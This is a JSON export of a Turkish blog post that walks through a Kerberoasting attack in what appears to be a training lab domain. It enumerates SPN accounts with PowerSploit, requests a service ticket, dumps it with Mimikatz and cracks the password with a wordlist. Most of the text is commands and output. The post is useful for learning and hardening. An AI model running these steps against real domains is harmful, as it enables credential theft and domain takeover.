{"id":755,"date":"2021-01-24T12:54:47","date_gmt":"2021-01-24T12:54:47","guid":{"rendered":"http:\/\/144.76.171.171\/blog\/?p=755"},"modified":"2021-01-24T12:54:47","modified_gmt":"2021-01-24T12:54:47","slug":"spni-kotuye-kullanma","status":"publish","type":"post","link":"https:\/\/berenkudaygorun.com\/blog\/blog\/2021\/01\/24\/spni-kotuye-kullanma\/","title":{"rendered":"SPN&#8217;i K\u00f6t\u00fcye Kullanma"},"content":{"rendered":"<p>Servis Hesaplar\u0131 y\u00fcksek yetkili kullan\u0131c\u0131lar olmamal\u0131d\u0131r. \u00c7\u00fcnk\u00fc bu hesaplar\u0131n kolay bir \u015fekilde kt\u00fcye kullanabilir. Ayn\u0131 zamanda kurumdaki \u015fifre politikas\u0131da burada son derece \u00f6nemlidir. Kolay \u015fifrelere sahip servis hesaplar\u0131kaba kuvvet sald\u0131r\u0131lar\u0131 ile k\u0131sa s\u00fcrede k\u0131r\u0131labilir. \u015eimdi bu durumu simule edece\u011fiz.<\/p>\n<p>\u0130lk olarak SPN de\u011ferleri bo\u015f olmayan kullan\u0131c\u0131lar\u0131 listeyeleyim.<\/p>\n<pre><code class=\"language-ps1\">PS C:\\Windows\\system32&gt; Import-Module C:\\ad\\PowerSploit\\Recon\\Recon.psd1\nPS C:\\Windows\\system32&gt; Get-NetUser -SPN | select cn\n\ncn\n--\nkrbtgt\nweb svc\nsvc admin\nSupport121User<\/code><\/pre>\n<p>Tespit etti\u011fimiz kullan\u0131c\u0131lar bakt\u0131\u011f\u0131m\u0131zda svc admin bizim i\u00e7in \u00e7ok ilgi \u00e7ekiici, bunun sebebi bu kullan\u0131c\u0131n\u0131n dahil oldu\u011fu gruplardan kaynaklanmaktad\u0131r.<\/p>\n<pre><code class=\"language-ps1\">PS C:\\Windows\\system32&gt; Get-NetGroup -MemberIdentity &quot;svc admin&quot; | select samaccountname\n\nsamaccountname\n--------------\nDenied RODC Password Replication Group\nDomain Admins\nDomain Users<\/code><\/pre>\n<p>Hemen bu kullan\u0131c\u0131 i\u00e7in bir bilet iste\u011finde bulunal\u0131m. Daha sonra bu bileti RAM'den mimikatz arac\u0131l\u0131\u011f\u0131 ile ay\u0131klay\u0131p, kaba kuvvet sald\u0131r\u0131s\u0131 ile k\u0131rmay\u0131 deneyelim. Tabi ki ilk olarak SPN de\u011ferine ihtiyac\u0131m\u0131z var.<\/p>\n<pre><code class=\"language-ps1\">PS C:\\Windows\\system32&gt; Get-NetUser | Where-Object{$_.cn -match &quot;svc admin&quot;} | select serviceprincipalname\n\nserviceprincipalname\n--------------------\n{MSSQLSvc\/dcorp-mgmt.dollarcorp.moneycorp.local:1433, MSSQLSvc\/dcorp-mgmt.dollarcorp.moneycorp.local}\n<\/code><\/pre>\n<p>\u015eimdi bilet iste\u011finde bulunal\u0131m.<\/p>\n<pre><code class=\"language-ps1\">PS C:\\Windows\\system32&gt; Add-Type -AssemblyNAme System.IdentityModel\nPS C:\\Windows\\system32&gt; New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList &quot;MSSQLSvc\/dcorp-mgmt.dollarcorp.moneycorp.local&quot;\n\nId                   : uuid-c907f4b7-782b-4410-9c25-42677f8f14d0-1\nSecurityKeys         : {System.IdentityModel.Tokens.InMemorySymmetricSecurityKey}\nValidFrom            : 1\/24\/2021 12:49:27 PM\nValidTo              : 1\/24\/2021 10:34:48 PM\nServicePrincipalName : MSSQLSvc\/dcorp-mgmt.dollarcorp.moneycorp.local\nSecurityKey          : System.IdentityModel.Tokens.InMemorySymmetricSecurityKey\n<\/code><\/pre>\n<p>\u015eimdi mimikatz ile biletleri export edelim.<\/p>\n<pre><code class=\"language-ps1\">PS C:\\Users\\student130\\Desktop\\tickets&gt; Import-Module C:\\ad\\Invoke-Mimikatz.ps1\nPS C:\\Users\\student130\\Desktop\\tickets&gt; Invoke-Mimikatz -Command &#039;&quot;kerberos::list \/export&quot;&#039;\n\n  .#####.   mimikatz 2.1.1 (x64) built on Nov 29 2018 12:37:56\n .## ^ ##.  &quot;A La Vie, A L&#039;Amour&quot; - (oe.eo) ** Kitten Edition **\n ## \/ \\ ##  \/*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )\n ## \\ \/ ##       &gt; http:\/\/blog.gentilkiwi.com\/mimikatz\n &#039;## v ##&#039;       Vincent LE TOUX             ( vincent.letoux@gmail.com )\n  &#039;#####&#039;        &gt; http:\/\/pingcastle.com \/ http:\/\/mysmartlogon.com   ***\/\n\nmimikatz(powershell) # kerberos::list \/export\n\n[00000000] - 0x00000012 - aes256_hmac\n   Start\/End\/MaxRenew: 1\/24\/2021 4:34:48 AM ; 1\/24\/2021 2:34:48 PM ; 1\/31\/2021 4:34:48 AM\n   Server Name       : krbtgt\/DOLLARCORP.MONEYCORP.LOCAL @ DOLLARCORP.MONEYCORP.LOCAL\n   Client Name       : student130 @ DOLLARCORP.MONEYCORP.LOCAL\n   Flags 40e10000    : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;\n   * Saved to file     : 0-40e10000-student130@krbtgt~DOLLARCORP.MONEYCORP.LOCAL-DOLLARCORP.MONEYCORP.LOCAL.kirbi\n\n[00000001] - 0x00000017 - rc4_hmac_nt\n   Start\/End\/MaxRenew: 1\/24\/2021 4:49:27 AM ; 1\/24\/2021 2:34:48 PM ; 1\/31\/2021 4:34:48 AM\n   Server Name       : MSSQLSvc\/dcorp-mgmt.dollarcorp.moneycorp.local @ DOLLARCORP.MONEYCORP.LOCAL\n   Client Name       : student130 @ DOLLARCORP.MONEYCORP.LOCAL\n   Flags 40a10000    : name_canonicalize ; pre_authent ; renewable ; forwardable ;\n   * Saved to file     : 1-40a10000-student130@MSSQLSvc~dcorp-mgmt.dollarcorp.moneycorp.local-DOLLARCORP.MONEYCORP.LOCAL.kirbi\n\n[00000002] - 0x00000017 - rc4_hmac_nt\n   Start\/End\/MaxRenew: 1\/24\/2021 4:36:06 AM ; 1\/24\/2021 2:34:48 PM ; 1\/31\/2021 4:34:48 AM\n   Server Name       : ldap\/dcorp-dc.dollarcorp.moneycorp.local @ DOLLARCORP.MONEYCORP.LOCAL\n   Client Name       : student130 @ DOLLARCORP.MONEYCORP.LOCAL\n   Flags 40a50000    : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ;\n   * Saved to file     : 2-40a50000-student130@ldap~dcorp-dc.dollarcorp.moneycorp.local-DOLLARCORP.MONEYCORP.LOCAL.kirbi\n\n[00000003] - 0x00000017 - rc4_hmac_nt\n   Start\/End\/MaxRenew: 1\/24\/2021 4:34:48 AM ; 1\/24\/2021 2:34:48 PM ; 1\/31\/2021 4:34:48 AM\n   Server Name       : LDAP\/dcorp-dc.dollarcorp.moneycorp.local\/dollarcorp.moneycorp.local @ DOLLARCORP.MONEYCORP.LOCAL\n   Client Name       : student130 @ DOLLARCORP.MONEYCORP.LOCAL\n   Flags 40a50000    : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ;\n   * Saved to file     : 3-40a50000-student130@LDAP~dcorp-dc.dollarcorp.moneycorp.local~dollarcorp.moneycorp.local-DOLLARCORP.MONEYCORP.LOCAL.kirbi\n\nPS C:\\Users\\student130\\Desktop\\tickets&gt;<\/code><\/pre>\n<p>Ve art\u0131k k\u0131rma zaman\u0131!<\/p>\n<pre><code class=\"language-ps1\">\nPS C:\\Users\\student130\\Desktop\\tickets&gt; python.exe C:\\AD\\kerberoast\\tgsrepcrack.py C:\\AD\\kerberoast\\10k-worst-pass.txt .\\1-40a10000-student130@MSSQLSvc~dcorp-mgmt.dollarcorp.moneycorp.local-DOLLARCORP.MONEYCORP.LOCAL.kirbi\nfound password for ticket 0: *ThisisBlasphemyThisisMadness!!  File: .\\1-40a10000-student130@MSSQLSvc~dcorp-mgmt.dollarcorp.moneycorp.local-DOLLARCORP.MONEYCORP.LOCAL.kirbi\nAll tickets cracked!\n<\/code><\/pre>\n<p>Harika! \u015eifreyi k\u0131rd\u0131.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Servis Hesaplar\u0131 y\u00fcksek yetkili kullan\u0131c\u0131lar olmamal\u0131d\u0131r. \u00c7\u00fcnk\u00fc bu hesaplar\u0131n kolay bir \u015fekilde kt\u00fcye kullanabilir. Ayn\u0131 zamanda kurumdaki \u015fifre politikas\u0131da burada son derece \u00f6nemlidir. Kolay \u015fifrelere&#8230;<\/p>\n<div class=\"more-link-wrapper\"><a class=\"more-link\" href=\"https:\/\/berenkudaygorun.com\/blog\/blog\/2021\/01\/24\/spni-kotuye-kullanma\/\">Devam\u0131n\u0131 oku<span class=\"screen-reader-text\">SPN&#8217;i K\u00f6t\u00fcye Kullanma<\/span><\/a><\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[269,320],"tags":[417],"class_list":["post-755","post","type-post","status-publish","format-standard","hentry","category-active-directory","category-powershell","tag-spn","entry"],"_links":{"self":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/755","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/comments?post=755"}],"version-history":[{"count":1,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/755\/revisions"}],"predecessor-version":[{"id":758,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/755\/revisions\/758"}],"wp:attachment":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/media?parent=755"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/categories?post=755"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/tags?post=755"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}